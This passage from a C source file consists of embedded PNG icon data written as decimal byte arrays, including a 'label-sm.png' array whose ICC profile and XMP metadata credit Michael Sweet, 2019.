32,32,32,32,32,32,32,60,114,100,102,58,108,105,32,120, 109,108,58,108,97,110,103,61,34,120,45,100,101,102,97,117, 108,116,34,62,67,111,112,121,114,105,103,104,116,32,50,48, 49,57,32,77,105,99,104,97,101,108,32,83,119,101,101,116, 60,47,114,100,102,58,108,105,62,10,32,32,32,32,32,32, 32,32,32,32,32,32,60,47,114,100,102,58,65,108,116,62, 10,32,32,32,32,32,32,32,32,32,60,47,100,99,58,114, 105,103,104,116,115,62,10,32,32,32,32,32,32,32,32,32, 60,73,112,116,99,52,120,109,112,69,120,116,58,72,101,97, 100,108,105,110,101,62,78,101,119,32,73,99,111,110,60,47, 73,112,116,99,52,120,109,112,69,120,116,58,72,101,97,100, 108,105,110,101,62,10,32,32,32,32,32,32,32,32,32,60, 112,104,111,116,111,115,104,111,112,58,72,101,97,100,108,105, 110,101,62,78,101,119,32,73,99,111,110,60,47,112,104,111, 116,111,115,104,111,112,58,72,101,97,100,108,105,110,101,62, 10,32,32,32,32,32,32,60,47,114,100,102,58,68,101,115, 99,114,105,112,116,105,111,110,62,10,32,32,32,60,47,114, 100,102,58,82,68,70,62,10,60,47,120,58,120,109,112,109, 101,116,97,62,10,221,242,56,27,0,0,21,107,73,68,65, 84,120,218,237,93,9,116,83,215,153,190,88,150,100,73,239, 73,178,44,91,222,100,89,146,45,25,99,27,140,177,241,138, 9,73,147,144,182,89,200,116,154,134,66,104,39,91,83,90, 38,33,13,157,38,109,40,217,90,114,210,180,205,100,50,39, 211,54,237,180,51,157,78,50,233,153,78,82,206,36,167,211, 14,167,7,3,3,33,33,11,148,132,18,6,74,10,12,1, 18,54,227,229,206,127,223,114,223,189,239,93,201,218,76,216, 222,61,54,70,207,177,248,190,255,255,191,127,185,247,57,8, 93,188,46,94,23,175,139,215,197,235,12,95,83,80,145,178, 166,92,168,224,29,200,133,60,200,141,74,144,29,217,224,149, 11,138,8,27,42,145,159,150,183,203,223,113,207,119,87,163, 50,228,5,50,28,240,234,5,226,15,54,228,242,126,83,198, 218,218,39,255,80,186,161,36,130,130,200,7,254,224,64,197, 231,59,13,69,96,253,175,73,88,82,224,235,127,122,143,202, 207,201,183,58,147,168,2,249,33,48,156,231,47,13,4,254, 93,212,250,218,146,180,15,121,88,122,73,190,219,51,3,133, 80,41,146,168,58,156,95,240,189,75,229,113,137,194,214,63, 115,107,92,94,239,93,85,50,128,42,81,0,201,231,147,72, 2,124,233,54,29,62,79,129,144,146,109,210,227,238,171,206, 31,145,36,206,127,179,60,38,115,32,205,100,152,255,38,105, 34,233,170,59,215,69,178,8,57,229,37,210,168,25,186,36, 214,2,203,125,239,145,115,91,36,1,190,103,145,60,154,206, 218,146,192,254,150,251,195,222,115,82,36,1,190,119,161,52, 162,39,61,54,242,121,21,200,240,254,152,119,189,180,210,213, 171,136,228,57,64,3,129,127,163,60,34,11,99,60,213,202, 232,254,27,242,163,158,43,80,21,136,164,124,246,138,36,113, 254,207,200,167,101,220,137,95,198,219,241,183,113,143,37,226, 83,169,66,102,247,189,187,165,167,164,5,174,48,136,164,154, 43,206,42,117,80,173,127,58,136,191,139,71,177,126,253,17, 63,142,231,9,108,42,165,181,255,4,247,15,72,63,243,44, 46,137,162,242,179,41,87,40,240,165,211,157,96,121,235,245, 39,252,20,190,18,251,184,184,183,214,4,114,86,247,189,31, 74,191,148,110,87,114,133,239,163,207,21,196,249,23,202,35, 11,241,49,10,186,21,47,192,207,226,19,12,13,7,241,51, 248,90,92,154,34,202,165,9,84,32,197,253,83,222,53,158, 101,142,150,143,54,101,18,235,47,146,71,238,194,227,12,220, 35,248,71,248,99,216,143,23,225,95,227,17,230,245,195,248, 159,240,167,113,80,104,95,217,146,25,50,188,63,34,255,86, 94,225,110,231,82,230,25,35,130,84,125,75,228,209,251,176, 232,218,143,159,192,189,184,28,223,142,255,155,163,231,67,252, 111,120,49,174,76,19,235,82,218,234,81,120,127,28,82,230, 55,92,221,76,95,81,116,102,224,255,149,60,186,148,1,215, 2,241,254,119,120,15,243,202,187,248,91,120,58,174,197,203, 241,38,142,158,147,248,5,124,11,188,158,190,66,148,179,188, 239,221,226,121,88,126,196,85,3,36,56,38,219,11,8,252, 91,165,177,107,24,221,199,248,3,136,253,69,224,228,51,241, 74,252,10,243,250,91,248,235,184,17,214,55,240,54,142,134, 211,144,52,151,226,250,148,218,111,158,39,100,118,223,181,0, 213,64,56,216,38,187,227,187,67,30,107,193,135,4,210,55, 10,78,191,28,39,192,190,119,224,53,248,20,253,142,255,193, 119,225,26,60,3,170,132,221,28,13,163,120,45,190,27,190, 95,20,229,98,15,72,127,223,243,21,52,21,202,166,73,244, 1,152,245,121,151,65,220,225,13,105,165,111,59,94,141,251, 33,5,94,143,127,130,255,79,251,174,113,252,59,124,27,248, 72,31,254,91,80,9,246,26,135,159,118,47,208,40,142,117, 41,101,29,41,232,49,30,68,179,160,114,44,153,44,2,200, 168,115,57,121,203,149,25,73,223,65,252,99,240,13,31,30, 192,143,226,63,80,215,127,17,127,22,200,186,28,210,227,17, 211,79,120,13,175,194,29,2,17,76,57,79,176,220,247,124, 27,245,162,90,168,23,167,76,14,124,151,252,55,228,109,218, 24,231,54,103,126,171,244,157,130,96,248,2,188,146,0,103, 95,171,233,198,9,252,175,248,58,248,111,205,215,171,248,106, 156,245,60,129,249,10,8,232,71,117,80,41,22,77,10,124, 239,253,42,215,47,78,152,249,69,210,183,25,223,143,219,33, 4,22,227,231,32,33,90,175,163,248,75,105,59,3,121,130, 206,129,44,247,195,147,69,0,192,151,30,84,223,228,242,140, 51,191,72,250,246,224,39,33,97,182,88,126,194,90,156,204, 100,94,48,193,125,247,42,212,135,194,133,39,128,56,255,106, 189,95,95,155,133,251,167,147,62,246,250,158,210,51,228,63, 79,40,185,79,35,160,128,26,48,69,113,254,199,117,182,47, 205,201,253,211,73,223,24,254,114,174,243,2,203,114,173,64, 61,133,21,65,5,190,244,132,241,166,207,229,225,254,34,233, 27,197,75,242,156,23,176,247,93,119,162,110,40,133,10,150, 6,9,124,183,247,41,163,246,138,114,45,14,158,160,240,205, 196,253,191,88,168,121,129,114,223,121,7,154,93,184,58,0, 224,87,187,229,167,217,184,91,145,166,241,205,197,253,31,206, 114,30,48,209,125,251,205,168,19,218,34,103,33,8,80,225, 255,128,103,121,243,132,141,111,54,238,255,98,174,243,128,148, 247,237,55,161,14,104,143,157,5,81,126,21,62,27,103,137, 140,27,223,76,220,255,79,74,71,152,199,60,64,112,223,246, 25,52,19,198,36,142,66,36,62,112,126,51,195,203,178,136, 255,137,221,255,218,194,204,3,184,101,91,128,102,192,240,212, 94,136,170,239,73,171,187,61,143,211,93,169,26,95,177,251, 255,188,192,243,0,242,81,182,14,93,131,90,161,27,180,231, 95,246,60,38,234,183,15,224,137,175,84,141,47,127,125,136, 27,114,234,247,211,221,247,111,74,140,163,79,162,22,152,12, 21,231,217,241,73,15,136,24,158,134,51,189,38,142,255,71, 114,236,247,83,223,247,189,158,56,149,196,232,19,249,18,80, 164,55,188,214,136,187,17,103,119,165,142,255,35,224,35,185, 245,251,169,238,123,119,54,28,73,128,72,231,235,1,100,135, 247,115,169,246,247,31,198,185,92,162,248,127,44,231,126,63, 197,253,63,199,247,37,177,66,192,213,160,1,57,19,48,5, 57,74,63,238,27,246,98,178,172,146,243,47,184,48,215,40, 110,206,185,223,23,221,247,30,141,189,147,192,132,0,8,129, 107,81,27,136,96,113,110,240,237,190,153,165,135,75,161,47, 243,41,20,152,223,118,125,129,8,248,117,30,253,190,224,254, 112,221,214,4,214,87,238,4,76,65,197,129,112,240,157,50, 92,6,187,56,1,160,192,207,208,160,190,213,187,5,34,96, 73,62,231,7,204,247,199,107,54,38,176,106,127,133,128,235, 114,37,192,86,46,85,188,92,14,53,93,25,86,73,32,139, 144,32,107,1,113,11,30,46,8,252,227,184,34,255,243,3, 244,181,138,161,36,181,126,50,15,2,64,251,67,15,86,225, 16,172,114,101,5,53,79,80,73,32,190,112,43,164,180,223, 224,247,242,38,224,197,2,158,31,40,27,210,161,231,231,1, 16,253,213,151,87,143,85,193,166,21,33,161,66,163,129,245, 5,66,194,84,80,243,21,176,13,254,18,254,95,83,221,159, 205,245,215,121,245,251,236,125,255,230,196,24,111,255,100,142, 4,216,66,21,117,59,107,113,53,172,26,172,210,80,65,125, 161,12,188,65,245,5,66,66,0,106,254,27,96,134,255,24, 72,217,31,97,150,147,253,213,145,87,191,207,108,133,189,217, 120,50,201,68,127,34,103,2,192,253,195,143,214,225,58,104, 102,194,184,86,33,161,82,161,161,130,134,132,238,11,1,133, 4,63,124,213,133,111,130,154,127,53,254,21,222,145,114,68, 34,186,14,229,217,239,211,83,35,187,26,14,155,173,159,107, 8,20,215,182,69,79,213,195,46,93,29,214,105,32,36,84, 83,79,48,124,161,76,241,4,53,71,248,225,222,0,72,227, 253,80,214,62,143,223,204,80,34,127,83,152,243,1,7,226, 123,147,38,232,185,106,64,17,114,53,252,42,138,99,48,236, 50,72,32,158,160,134,132,53,32,116,26,124,154,56,214,224, 203,96,172,181,18,63,4,21,223,22,203,132,200,124,61,81, 128,243,1,242,135,209,29,172,237,89,33,204,150,0,200,254, 177,206,198,241,6,76,86,12,86,61,165,33,172,5,132,74, 131,154,33,120,95,8,104,190,64,210,100,12,95,5,93,224, 74,252,0,180,185,27,132,219,30,234,181,52,207,126,31,254, 126,58,252,26,111,117,246,111,217,18,0,246,111,122,38,169, 116,241,13,56,14,43,102,242,133,90,133,8,221,23,42,77, 36,168,186,160,39,74,25,55,41,121,98,37,236,240,253,35, 76,136,222,23,16,112,109,94,253,62,249,170,106,163,14,56, 137,173,42,144,45,1,197,209,200,212,83,77,244,71,53,42, 158,160,210,16,161,52,212,42,171,70,209,5,222,23,12,18, 74,21,85,32,69,147,31,242,196,167,33,79,172,196,223,132, 169,225,75,166,118,120,86,158,251,255,108,225,195,59,127,46, 30,0,205,79,243,237,211,32,191,147,149,84,150,238,11,106, 64,196,56,95,168,85,40,208,117,193,234,11,165,140,47,144, 60,177,24,242,196,74,88,79,65,174,208,79,142,196,242,218, 255,15,172,55,172,157,52,57,191,250,90,118,4,20,33,119, 235,11,173,208,155,77,195,58,13,77,202,143,36,52,16,18, 162,22,95,8,83,26,248,28,17,228,124,193,167,30,105,131, 215,251,149,60,65,104,248,46,254,5,126,7,190,39,247,253, 127,255,150,196,168,53,242,121,143,200,142,0,40,128,218,78, 78,135,94,189,5,171,52,24,190,208,164,5,132,234,11,68, 21,34,38,95,168,97,124,161,66,161,160,156,235,34,252,154, 47,200,240,125,243,64,252,86,42,235,150,220,250,125,229,217, 130,198,227,162,196,199,19,145,29,1,246,228,37,237,48,189, 107,131,168,109,83,104,152,70,125,65,15,136,132,230,11,134, 56,26,186,16,86,104,168,164,1,81,65,43,71,149,134,128, 166,11,178,66,68,20,207,199,119,226,155,115,232,247,149,159, 176,59,113,200,236,240,252,231,236,75,225,41,168,100,198,178, 153,112,168,105,6,236,218,183,41,75,228,11,42,13,113,77, 28,117,95,136,80,26,170,105,237,24,98,124,33,200,117,17, 126,141,4,57,215,253,255,131,177,61,214,170,79,228,13,217, 16,0,10,208,241,131,89,160,203,58,9,134,47,180,78,224, 11,102,113,172,213,124,193,154,35,130,90,209,164,231,8,111, 14,251,255,222,99,245,219,147,130,194,71,84,9,100,71,128, 212,245,159,157,120,22,214,73,32,52,176,36,180,48,226,200, 147,96,78,148,17,205,23,210,21,208,165,154,39,200,116,220, 150,225,60,96,164,118,75,106,167,55,83,146,13,1,54,228, 237,217,210,13,233,138,44,131,134,118,133,6,66,66,139,208, 23,18,52,85,166,247,5,107,209,196,251,130,156,225,60,160, 106,3,159,233,173,214,231,230,1,89,140,196,138,145,191,119, 95,47,158,141,187,225,67,37,161,131,243,133,233,138,55,232, 170,48,77,73,146,83,105,181,160,231,136,168,160,104,170,166, 245,66,136,233,35,130,220,164,201,155,129,42,144,194,199,26, 251,73,97,18,212,68,240,154,204,167,194,197,168,180,255,84, 31,60,222,208,11,31,221,176,58,97,117,81,79,232,80,72, 80,67,162,85,89,205,156,47,52,105,213,66,42,93,8,211, 128,168,18,250,130,159,14,220,82,207,3,2,27,68,202,159, 192,137,20,34,216,184,14,93,5,7,37,253,153,157,20,45, 70,129,1,104,104,251,49,33,161,71,35,161,155,146,160,251, 130,42,142,109,84,28,155,133,186,16,215,138,38,163,94,168, 229,116,65,52,93,224,19,165,117,30,224,219,146,28,17,41, 127,50,5,29,141,184,226,30,52,15,197,225,180,112,102,4, 200,193,65,60,7,19,18,250,96,245,43,158,160,134,132,161, 11,51,105,142,104,167,213,66,171,73,28,85,26,26,82,234, 66,141,54,105,178,234,66,144,6,132,159,201,16,154,246,111, 79,28,179,218,56,105,130,156,208,194,81,233,98,214,161,79, 161,46,56,32,147,225,9,33,240,128,185,152,80,48,168,144, 48,160,144,160,251,194,108,170,11,70,162,228,235,133,102,75, 142,208,235,5,117,186,16,97,26,107,235,116,33,100,10,136, 82,218,69,104,190,176,167,225,160,168,223,103,193,83,224,218, 42,95,129,174,128,0,8,192,222,112,134,4,148,182,108,232, 249,253,37,135,8,13,131,26,13,125,202,226,3,66,165,161, 195,68,131,161,11,70,23,97,110,166,216,2,58,44,108,166, 140,2,58,192,248,130,124,40,190,91,172,250,141,38,224,113, 250,110,241,117,232,47,225,128,84,109,230,103,4,33,11,52, 129,198,54,13,183,111,234,127,117,238,40,239,11,172,46,16, 10,58,181,28,209,161,145,96,46,154,154,53,10,154,184,122, 33,74,3,34,130,205,83,199,202,20,141,53,80,112,34,186, 205,128,109,184,121,130,177,118,92,251,76,130,78,13,188,178, 44,237,175,212,1,141,63,211,157,171,249,207,157,67,131,187, 116,79,152,67,117,129,144,96,36,202,78,45,32,58,152,68, 201,214,11,122,64,52,97,118,200,18,229,38,77,117,52,67, 84,107,163,87,126,224,22,24,173,123,197,108,109,195,222,122, 25,22,167,227,27,77,117,178,182,63,33,64,110,124,128,23, 152,214,55,123,54,12,126,96,4,132,154,35,122,169,46,24, 36,176,5,180,94,52,181,80,95,208,73,72,208,158,50,42, 152,52,169,69,83,21,157,64,171,205,84,205,250,70,205,234, 4,114,35,3,155,181,183,218,156,25,63,53,123,251,147,82, 216,19,251,188,53,153,52,29,111,223,216,255,250,224,248,32, 23,16,253,140,46,16,26,58,76,5,244,116,70,23,120,113, 76,152,6,110,245,41,134,44,106,64,84,15,53,152,28,61, 110,178,118,148,89,245,122,135,154,131,253,73,55,232,170,157, 107,173,169,212,196,51,109,79,215,208,220,189,134,46,244,155, 114,4,235,11,29,90,181,208,78,3,130,111,172,245,33,139, 17,16,186,47,68,184,33,75,21,174,217,104,64,143,153,96, 199,76,176,35,154,182,144,85,154,131,253,9,1,78,127,125, 114,156,239,167,57,229,29,111,219,218,187,113,240,4,239,11, 125,90,229,168,215,11,179,76,245,130,104,186,96,78,148,113, 193,116,1,196,241,181,134,211,102,224,186,163,215,51,192,35, 20,120,68,21,215,156,236,175,12,68,80,48,177,39,93,121, 73,254,108,58,58,115,253,156,109,230,68,217,75,229,177,211, 82,52,25,205,84,139,165,128,78,210,113,91,131,6,141,38, 202,29,13,31,196,82,56,122,68,35,139,131,173,37,215,186, 28,237,175,85,2,201,223,38,44,1,32,170,185,166,237,154, 61,52,103,255,160,169,104,234,133,101,20,77,29,2,95,152, 110,234,34,12,93,72,48,93,4,64,218,27,63,16,165,142, 94,207,89,187,206,2,58,172,0,87,11,172,218,156,237,79, 242,128,175,241,135,201,180,67,38,142,146,209,233,175,244,110, 158,51,204,22,208,106,51,213,77,125,161,211,212,81,234,205, 148,120,210,68,155,169,195,209,93,81,26,20,169,172,93,167, 1,175,213,54,109,212,85,122,15,186,60,55,251,147,60,32, 199,239,21,149,153,201,52,147,247,230,67,29,67,115,222,214, 73,24,160,36,168,57,98,54,87,57,118,8,139,38,182,94, 80,178,252,201,216,155,81,45,178,213,146,201,108,111,35,113, 170,115,72,53,129,146,21,122,26,70,32,179,160,254,207,233, 25,17,146,8,111,204,174,223,214,191,106,217,209,61,52,248, 190,85,23,140,128,232,202,104,210,4,25,98,44,182,153,183, 118,68,139,237,48,93,181,116,233,192,213,46,179,226,25,112, 255,126,232,255,252,185,216,95,73,132,53,61,217,244,219,73, 166,11,35,69,244,140,77,125,91,72,17,109,248,66,47,165, 161,75,208,76,205,80,84,129,207,17,13,67,117,38,39,15, 83,107,135,53,107,179,192,153,221,202,159,162,27,208,92,148, 132,9,144,51,183,103,132,32,17,186,106,72,207,61,81,191, 157,76,211,144,36,247,119,12,13,236,226,19,165,218,86,207, 166,125,68,7,55,100,209,39,77,68,23,18,67,134,154,135, 181,65,74,88,179,181,1,91,183,56,129,173,111,202,132,126, 14,240,47,129,232,47,135,246,55,231,71,101,33,17,38,119, 136,125,32,105,178,185,168,33,137,211,10,175,249,173,238,13, 131,71,205,205,84,175,41,32,204,83,199,230,141,117,227,134, 139,215,88,220,156,181,119,149,54,93,34,21,35,148,206,207, 218,110,4,248,205,112,52,222,149,207,147,194,144,8,19,107, 18,194,189,86,115,215,109,52,186,169,42,243,248,241,233,27, 251,183,14,142,15,8,117,161,147,118,148,186,46,180,109,173, 27,14,11,97,215,80,224,213,12,240,74,109,65,201,252,75, 128,63,79,129,239,206,239,65,105,232,8,19,79,154,230,106, 38,39,87,63,226,76,77,110,174,211,140,110,143,172,198,189, 51,135,230,236,29,52,5,132,222,88,119,210,225,107,251,59, 225,163,86,123,215,104,96,171,181,134,153,131,173,111,189,252, 7,192,191,20,77,131,39,67,220,249,62,39,14,123,3,241, 229,137,20,209,221,56,65,67,18,227,27,18,38,119,215,141, 79,221,218,13,69,180,209,81,246,48,141,181,66,194,190,200, 123,188,155,235,174,94,73,221,156,133,29,210,250,69,128,191, 198,182,144,129,63,37,95,2,220,145,235,18,92,207,221,200, 181,159,34,216,245,12,104,163,37,169,179,36,177,250,163,45, 27,250,223,26,164,149,163,161,11,221,71,234,119,26,144,245, 195,23,86,216,21,218,180,64,157,23,40,237,242,75,182,207, 162,203,224,68,120,101,33,224,43,251,131,229,51,116,216,13, 66,216,230,186,220,128,93,103,169,212,216,52,166,151,44,241, 93,80,56,237,103,197,177,239,84,236,141,106,206,201,173,192, 245,125,198,10,109,71,65,219,89,248,47,219,34,244,177,194, 193,39,151,195,19,106,56,222,64,99,91,212,128,214,51,91, 162,108,165,22,17,230,110,93,205,217,20,86,61,154,220,210, 189,121,112,88,33,97,60,185,169,74,219,59,178,218,219,128, 93,161,129,38,240,213,21,88,107,91,12,240,91,225,185,64, 79,225,126,181,150,29,149,197,95,139,153,96,199,152,168,54, 215,229,17,6,52,15,92,156,196,170,104,26,11,191,223,54, 212,247,118,235,144,213,218,21,218,18,193,14,106,243,194,178, 117,182,155,160,234,111,83,224,23,23,238,209,88,24,141,198, 158,143,113,125,152,24,56,223,137,241,5,139,24,54,43,106, 149,154,163,155,157,92,5,205,58,58,15,156,236,46,43,147, 194,13,182,37,208,244,22,28,190,146,8,163,143,233,227,6, 115,223,205,118,221,214,62,172,38,13,108,54,129,89,237,29, 74,233,230,101,12,236,128,118,24,175,20,151,109,182,125,14, 224,79,71,213,133,134,175,36,194,240,23,69,214,142,112,78, 158,14,182,225,230,149,116,230,47,118,115,29,118,208,2,59, 168,109,145,168,31,234,182,89,64,57,148,11,187,5,175,218, 62,143,174,84,224,75,133,134,79,242,128,187,114,190,145,192, 248,174,91,92,153,87,167,112,116,93,205,67,2,53,47,167, 103,71,172,78,174,218,89,223,23,8,104,59,69,250,73,163, 210,55,224,121,224,43,225,113,200,154,201,128,175,52,68,193, 132,97,111,125,103,183,54,37,236,42,70,214,210,105,185,97, 113,43,236,32,221,20,211,79,31,27,160,85,216,126,109,247, 216,183,205,126,11,154,63,121,240,213,60,80,26,250,100,237, 179,117,167,106,211,56,122,21,167,231,134,168,89,107,181,244, 162,86,166,139,154,5,184,1,218,79,207,27,122,223,182,223, 10,27,222,237,48,240,146,39,11,190,82,13,66,97,49,205, 61,191,234,241,154,221,213,194,232,54,138,22,49,104,125,103, 167,34,165,181,3,154,155,167,181,182,1,92,249,236,219,105, 191,13,224,207,84,224,219,39,239,87,35,193,129,105,112,175, 16,204,85,218,139,231,6,151,87,253,174,102,188,202,34,108, 98,45,55,162,91,172,229,6,240,128,0,184,126,178,212,71, 255,244,210,5,187,196,239,218,111,71,31,7,248,225,201,133, 175,83,80,2,191,160,48,132,162,80,103,245,72,55,84,254, 184,234,176,85,212,172,149,90,102,209,173,238,251,26,160,13, 107,123,41,112,243,169,33,105,143,253,14,128,223,113,38,224, 171,20,20,1,9,78,120,179,32,188,101,19,154,85,124,69, 112,85,232,245,144,182,121,89,97,74,100,34,123,179,192,89, 123,251,45,110,158,26,54,61,25,182,207,190,20,158,2,38, 240,189,103,2,62,251,27,67,28,160,8,165,80,111,53,64, 222,237,247,221,86,241,239,161,225,114,161,168,89,65,235,135, 94,172,209,205,199,182,225,230,28,104,99,237,183,127,9,158, 1,158,5,191,16,233,140,194,55,124,193,14,1,225,133,105, 75,4,186,238,217,142,107,202,190,95,190,215,90,169,5,152, 71,104,82,171,185,95,23,52,33,108,217,12,157,172,131,246, 101,0,191,19,222,221,119,230,225,179,190,224,4,105,12,64, 254,77,160,153,197,115,125,95,9,254,222,234,226,98,216,62, 129,189,83,89,219,67,255,84,151,244,190,243,78,120,0,90, 133,239,248,104,127,107,44,33,193,14,35,71,34,142,49,16, 199,94,207,194,210,159,6,142,6,82,194,54,100,205,107,58, 242,196,158,254,100,193,155,151,116,184,120,57,192,239,66,245, 31,61,124,86,28,75,168,56,118,22,95,225,123,168,116,155, 176,104,161,143,217,90,207,0,179,246,102,224,210,175,220,202, 242,124,80,124,55,28,116,60,139,224,243,226,232,209,196,113, 6,26,144,190,224,127,193,55,226,101,108,157,86,212,52,71, 231,97,187,153,229,34,159,143,57,238,129,131,174,179,33,21, 251,225,221,138,208,89,118,169,226,232,82,196,177,30,196,177, 219,113,157,247,73,239,123,86,71,151,4,22,151,52,200,44, 112,15,5,79,224,187,78,56,190,10,240,187,207,86,248,108, 201,68,196,177,12,202,211,4,234,40,158,231,249,170,60,36, 165,177,55,11,156,183,186,102,119,133,0,215,73,199,215,96, 147,179,27,180,230,172,134,207,138,163,27,254,169,149,240,15, 110,67,189,37,139,165,127,150,143,121,4,178,230,22,44,151, 14,90,89,37,100,13,59,238,3,248,61,240,211,74,207,126, 248,86,113,172,131,253,185,78,219,124,215,183,228,63,184,25, 155,179,22,119,177,214,166,208,85,248,174,211,142,251,209,2, 248,77,160,113,128,239,60,55,224,155,197,49,0,179,26,69, 28,157,75,221,107,220,163,38,247,22,128,214,151,19,151,140, 56,86,161,235,21,248,129,115,13,62,47,142,62,42,142,215, 187,255,222,115,192,236,232,46,43,116,248,112,142,57,30,2, 248,125,64,223,57,10,223,152,41,24,226,152,4,113,188,180, 228,94,215,70,30,180,147,5,174,174,49,199,35,232,47,224, 128,195,57,15,95,44,142,125,246,37,37,191,40,57,238,100, 40,96,151,99,220,177,90,129,223,152,251,1,135,179,89,28, 203,21,113,236,178,125,194,185,186,100,39,192,197,234,7,249, 172,46,251,119,224,116,255,128,2,191,228,124,129,47,18,199, 70,152,51,205,177,127,217,249,178,115,204,0,15,240,191,167, 192,79,156,143,240,205,226,24,2,113,108,65,61,182,79,57, 255,193,126,8,160,147,245,4,192,159,3,240,131,231,43,124, 177,56,206,42,190,172,248,235,246,87,0,254,213,16,251,23, 0,124,126,206,228,135,86,42,14,226,216,5,53,95,59,124, 69,224,219,208,5,114,233,226,232,5,216,213,224,13,149,64, 199,5,4,159,247,5,151,246,191,97,45,66,23,175,139,215, 197,235,226,117,134,174,255,7,18,156,48,32,143,188,77,137, 0,0,0,0,73,69,78,68,174,66,96,130, }; /* label-sm.png */ static unsigned char label_sm_png[] = { 137,80,78,71,13,10,26,10,0,0,0,13,73,72,68,82, 0,0,0,48,0,0,0,48,8,4,0,0,0,253,11,49, 12,0,0,4,25,105,67,67,80,107,67,71,67,111,108,111, 114,83,112,97,99,101,71,101,110,101,114,105,99,82,71,66, 0,0,56,141,141,85,93,104,28,85,20,62,187,115,103,35, 36,206,83,108,52,133,116,168,63,13,37,13,147,86,52,161, 180,186,127,221,221,54,110,150,73,54,218,34,232,100,246,238, 206,152,201,206,56,51,187,253,161,79,69,80,124,49,234,155, 20,196,191,183,128,32,40,245,15,219,62,180,47,149,10,37, 218,212,32,40,62,180,248,131,80,232,139,166,235,153,59,51, 153,105,186,177,222,101,238,124,243,157,239,158,123,238,185,103, 239,5,232,185,170,88,150,145,20,1,22,154,174,45,23,50, 226,115,135,143,136,61,43,144,132,135,160,23,6,161,87,81, 29,43,93,169,76,2,54,79,11,119,181,91,223,67,194,123, 95,217,213,221,254,159,173,183,70,29,21,32,113,31,98,179, 230,168,11,136,143,1,240,167,85,203,118,1,122,250,145,31, 63,234,90,30,246,98,232,183,49,64,196,47,122,184,225,99, 215,195,115,62,126,141,105,102,228,44,226,211,136,5,85,83, 106,136,151,16,143,204,197,248,70,12,251,49,176,214,95,160, 77,106,235,170,232,229,162,98,155,117,221,160,177,112,239,97, 254,159,109,193,104,133,243,109,195,167,207,153,159,62,132,239, 97,92,251,43,53,37,231,225,81,196,75,170,146,159,70,252, 8,226,107,109,125,182,28,224,219,150,155,145,17,63,6,144, 220,222,154,175,166,17,239,68,92,172,219,7,170,190,159,164, 173,181,138,33,126,231,132,54,243,44,226,45,136,207,55,231, 202,83,193,216,171,170,147,197,156,193,118,196,183,53,90,242, 242,59,4,192,137,186,91,154,241,199,114,251,109,83,158,242, 231,229,234,53,154,203,123,121,68,252,250,188,121,72,246,125, 114,159,57,237,233,124,232,243,132,150,45,7,252,165,151,148, 131,21,196,131,136,127,161,70,65,246,231,226,254,177,220,74, 16,3,25,106,26,229,73,127,46,146,163,14,91,47,227,93, 109,166,232,207,75,12,23,55,212,31,75,22,235,250,129,82, 160,255,68,179,139,114,128,175,89,6,171,81,140,141,79,218, 45,185,234,235,249,81,197,206,23,124,159,124,133,54,171,129, 127,190,13,179,9,5,40,152,48,135,189,10,77,88,3,17, 100,40,64,6,223,22,216,104,169,131,14,6,50,20,173,20, 25,138,95,161,102,23,27,231,192,60,242,58,180,153,205,193, 190,194,148,254,200,200,95,131,249,184,206,180,42,100,135,62, 130,22,178,26,252,142,172,22,211,101,241,171,133,92,99,19, 63,126,44,55,2,63,38,25,32,18,217,131,207,94,50,73, 246,145,113,50,1,34,121,138,60,77,246,147,28,178,19,100, 239,250,216,74,108,69,94,60,55,214,253,188,140,51,82,166, 155,69,221,57,180,187,160,96,255,51,42,76,92,83,215,172, 44,14,182,134,35,203,41,251,5,93,189,252,198,95,177,92, 233,44,55,81,182,226,25,157,186,87,206,249,95,249,235,252, 50,246,43,252,106,164,224,127,228,87,241,183,114,199,90,204, 187,178,76,195,236,108,88,115,119,85,26,109,6,227,22,240, 209,153,197,137,197,29,243,113,241,228,87,15,70,126,150,201, 153,231,175,244,93,60,89,111,46,14,70,172,151,5,250,106, 249,86,25,78,141,68,172,244,131,244,135,180,44,189,39,125, 40,253,198,189,205,125,202,125,205,125,206,125,193,93,2,145, 59,203,157,227,190,225,46,112,31,115,95,198,246,106,243,26, 90,223,123,22,121,24,183,103,233,150,107,172,74,33,35,108, 21,30,22,114,194,54,225,81,97,50,242,39,12,8,99,66, 81,216,129,150,173,235,251,22,159,47,158,61,29,14,99,31, 230,167,251,92,190,46,86,1,137,251,177,2,244,77,254,85, 85,84,233,112,148,41,29,86,111,77,56,190,65,19,140,36, 67,100,140,148,54,84,247,184,87,243,161,34,149,79,229,82, 105,16,83,59,83,19,169,177,212,65,15,135,179,166,118,160, 109,2,251,252,29,213,169,110,178,82,234,210,99,222,125,2, 89,211,58,110,235,13,205,21,119,75,210,147,98,26,175,54, 42,150,154,234,232,136,168,24,134,200,76,142,104,83,135,218, 109,90,27,5,239,222,244,143,244,155,50,187,15,19,91,46, 71,156,251,12,192,190,63,241,236,251,46,226,142,180,0,150, 28,128,129,199,35,110,24,207,202,7,222,5,56,243,132,218, 178,219,193,29,145,72,124,11,224,212,247,236,246,191,250,50, 120,126,253,212,233,220,196,115,172,231,45,128,181,55,59,157, 191,223,239,116,214,62,64,255,171,0,103,141,127,1,160,159, 124,85,3,92,11,239,0,0,0,56,101,88,73,102,77,77, 0,42,0,0,0,8,0,1,135,105,0,4,0,0,0,1, 0,0,0,26,0,0,0,0,0,2,160,2,0,4,0,0, 0,1,0,0,0,48,160,3,0,4,0,0,0,1,0,0, 0,48,0,0,0,0,248,255,78,54,0,0,3,99,105,84, 88,116,88,77,76,58,99,111,109,46,97,100,111,98,101,46, 120,109,112,0,0,0,0,0,60,120,58,120,109,112,109,101, 116,97,32,120,109,108,110,115,58,120,61,34,97,100,111,98, 101,58,110,115,58,109,101,116,97,47,34,32,120,58,120,109, 112,116,107,61,34,88,77,80,32,67,111,114,101,32,53,46, 52,46,48,34,62,10,32,32,32,60,114,100,102,58,82,68, 70,32,120,109,108,110,115,58,114,100,102,61,34,104,116,116, 112,58,47,47,119,119,119,46,119,51,46,111,114,103,47,49, 57,57,57,47,48,50,47,50,50,45,114,100,102,45,115,121, 110,116,97,120,45,110,115,35,34,62,10,32,32,32,32,32, 32,60,114,100,102,58,68,101,115,99,114,105,112,116,105,111, 110,32,114,100,102,58,97,98,111,117,116,61,34,34,10,32, 32,32,32,32,32,32,32,32,32,32,32,120,109,108,110,115, 58,100,99,61,34,104,116,116,112,58,47,47,112,117,114,108, 46,111,114,103,47,100,99,47,101,108,101,109,101,110,116,115, 47,49,46,49,47,34,10,32,32,32,32,32,32,32,32,32, 32,32,32,120,109,108,110,115,58,73,112,116,99,52,120,109, 